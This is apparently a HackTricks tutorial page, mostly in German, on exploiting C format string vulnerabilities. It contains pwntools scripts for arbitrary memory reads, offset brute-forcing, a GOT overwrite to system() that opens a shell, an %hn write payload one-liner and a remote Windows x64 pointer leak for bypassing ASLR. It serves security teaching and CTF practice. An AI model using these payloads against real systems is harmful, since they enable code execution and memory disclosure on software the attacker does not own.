Format Strings

Reading time: 11 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

In C printf ist eine Funktion, die verwendet werden kann, um einen String auszugeben. Der erste Parameter, den diese Funktion erwartet, ist der Rohtext mit den Formatierern. Die folgenden Parameter sind die Werte, die die Formatierer im Rohtext ersetzen sollen.

Weitere verwundbare Funktionen sind sprintf() und fprintf().

Die Schwachstelle tritt auf, wenn ein vom Angreifer stammender Text als erstes Argument an diese Funktion übergeben wird. Der Angreifer kann eine spezielle Eingabe erstellen, die die printf format string Fähigkeiten missbraucht, um beliebige Daten an beliebigen Adressen zu lesen und zu schreiben (lesbar/schreibbar). Auf diese Weise kann beliebiger Code ausgeführt werden.

Formatierer:

bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Beispiele:

  • Verwundbares Beispiel:
c
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Normale Verwendung:
c
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Mit fehlenden Argumenten:
c
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf anfällig:
c
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

Zugriff auf Pointers

Das Format %<n>$x, wobei n eine Zahl ist, ermöglicht es, printf anzuweisen, das n-te Argument (vom stack) auszuwählen. Also, wenn du das 4. Argument vom stack mit printf lesen willst, könntest du:

c
printf("%x %x %x %x")

und du würdest vom ersten bis zum vierten Parameter lesen.

Oder du könntest Folgendes tun:

c
printf("%4$x")

und direkt die vierte Position lesen.

Beachte, dass der Angreifer den printf Parameter, was im Wesentlichen bedeutet, dass seine Eingabe auf dem Stack liegen wird, wenn printf aufgerufen wird, und dass er dadurch spezifische Speicheradressen auf den Stack schreiben könnte.

caution

Ein Angreifer, der diese Eingabe kontrolliert, wird in der Lage sein, beliebige Adressen in den Stack einzufügen und printf dazu zu bringen, auf diese zuzugreifen. Im nächsten Abschnitt wird erklärt, wie man dieses Verhalten ausnutzt.

Arbitrary Read

Es ist möglich, den Formatter %n$s zu verwenden, um printf die Adresse zu holen, die sich in der n-ten Position befindet, ihr zu folgen und so zu drucken, als wäre sie ein String (druckt bis ein 0x00 gefunden wird). Wenn also die Basisadresse des Binaries 0x8048000 ist und wir wissen, dass die Benutzereingabe in der 4. Position auf dem Stack beginnt, ist es möglich, den Anfang des Binaries mit:

python
from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

caution

Beachte, dass du die Adresse 0x8048000 nicht an den Anfang der Eingabe setzen kannst, weil die Zeichenkette am Ende dieser Adresse in 0x00 cat wird.

Offset finden

Um den Offset zu deiner Eingabe zu finden, kannst du 4 oder 8 Bytes (0x41414141) gefolgt von %1$x senden und den Wert erhöhen, bis die A's erscheinen.

Brute Force printf offset
python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()

# Start a new process of the "chall" binary
p = process("./chall")

# Send the payload to the process
p.sendline(payload)

# Read and store the output of the process
output = p.clean()

# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break

# Close the process
p.close()

Wie nützlich

Arbitrary reads können nützlich sein, um:

  • Dump die binary aus dem Speicher
  • Access specific parts of memory where sensitive info gespeichert sind (wie canaries, encryption keys oder benutzerdefinierte Passwörter wie in diesem CTF challenge)

Arbitrary Write

Der Formatter %<num>$n schreibt die Anzahl der geschriebenen Bytes in die angegebene Adresse, die durch den -Parameter auf dem Stack referenziert wird. Wenn ein Angreifer mit printf beliebig viele Zeichen schreiben kann, kann er %<num>$n dazu bringen, eine beliebige Zahl an einer beliebigen Adresse zu schreiben.

Glücklicherweise ist es nicht nötig, 9999 "A"s in die Eingabe zu schreiben, um die Zahl 9999 zu erzeugen. Stattdessen kann man den Formatter %.<num-write>%<num>$n verwenden, um die Zahl <num-write> in die Adresse zu schreiben, auf die die num-Position zeigt.

bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Beachte jedoch, dass man normalerweise, um eine Adresse wie 0x08049724 zu schreiben (was eine RIESIGE Zahl ist, um sie auf einmal zu schreiben), $hn statt $n verwendet. Dadurch kann man nur 2 Bytes schreiben. Daher wird diese Operation zweimal durchgeführt: einmal für die höchsten 2B der Adresse und einmal für die niedrigeren.

Deshalb erlaubt diese Schwachstelle, in jede Adresse irgendetwas zu schreiben (arbitrary write).

In diesem Beispiel ist das Ziel, die Adresse einer Funktion in der GOT-Tabelle zu überschreiben, die später aufgerufen wird. Obwohl dies andere arbitrary write to exec techniques ausnutzen könnte:

Write What Where 2 Exec

Wir werden eine Funktion überschreiben, die ihre Argumente vom Benutzer erhält, und sie auf die system Funktion zeigen lassen.
Wie erwähnt, um die Adresse zu schreiben, sind normalerweise 2 Schritte nötig: Du schreibst zuerst 2 Bytes der Adresse und dann die anderen 2. Dazu wird $hn verwendet.

  • HOB bezeichnet die 2 höheren Bytes der Adresse
  • LOB bezeichnet die 2 niedrigeren Bytes der Adresse

Dann, wegen der Funktionsweise von format string, musst du zuerst den kleineren von [HOB, LOB] schreiben und dann den anderen.

If HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

If HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools-Vorlage

Du findest eine Vorlage, um einen exploit für diese Art von Schwachstelle vorzubereiten, in:

Format Strings Template

Oder dieses einfache Beispiel von here:

python
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings to BOF

Es ist möglich, die Schreibaktionen einer format string vulnerability zu missbrauchen, um write in addresses of the stack und eine buffer overflow-Art von Schwachstelle auszunutzen.

Windows x64: Format-string leak to bypass ASLR (no varargs)

On Windows x64 the first four integer/pointer parameters are passed in registers: RCX, RDX, R8, R9. In vielen fehlerhaften Aufrufstellen wird der vom Angreifer kontrollierte String als Format-Argument verwendet, es werden aber keine variadischen Argumente übergeben, zum Beispiel:

c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);

Da keine varargs übergeben werden, bewirkt jede Konvertierung wie "%p", "%x", "%s", dass das CRT das nächste variadic argument aus dem entsprechenden Register liest. Bei der Microsoft x64 Aufrufkonvention stammt die erste solche Leseaktion für "%p" aus R9. Welcher vorübergehende Wert sich zum Aufrufzeitpunkt in R9 befindet, wird ausgegeben. In der Praxis leaks das häufig einen stabilen Pointer innerhalb des Moduls (z. B. ein Pointer auf ein lokal/globales Objekt, das zuvor von umgebendem Code in R9 platziert wurde, oder einen callee-saved Wert), der verwendet werden kann, um die Modulbasis zu rekonstruieren und ASLR zu umgehen.

Practical workflow:

  • Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering.
  • Erfasse den leaked pointer, identifiziere den statischen Offset dieses Objekts im Modul (durch einmaliges Reversing mit Symbolen oder einer lokalen Kopie), und rekonstruiere die Modulbasis als leak - known_offset.
  • Nutze diese Basis, um aus der Ferne absolute Adressen für ROP gadgets und IAT entries zu berechnen.

Beispiel (abgekürztes python):

python
from pwn import remote

# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-"  # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16)   # e.g. 0x7ff6693d0660
base   = leaked - 0x20660                     # module base = leak - offset
print(hex(leaked), hex(base))

Notes:

  • The exact offset to subtract is found once during local reversing and then reused (same binary/version).
  • If "%p" doesn’t print a valid pointer on the first try, try other specifiers ("%llx", "%s") or multiple conversions ("%p %p %p") to sample other argument registers/stack.
  • This pattern is specific to the Windows x64 calling convention and printf-family implementations that fetch nonexistent varargs from registers when the format string requests them.

This technique is extremely useful to bootstrap ROP on Windows services compiled with ASLR and no obvious memory disclosure primitives.

Other Examples & References

References

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks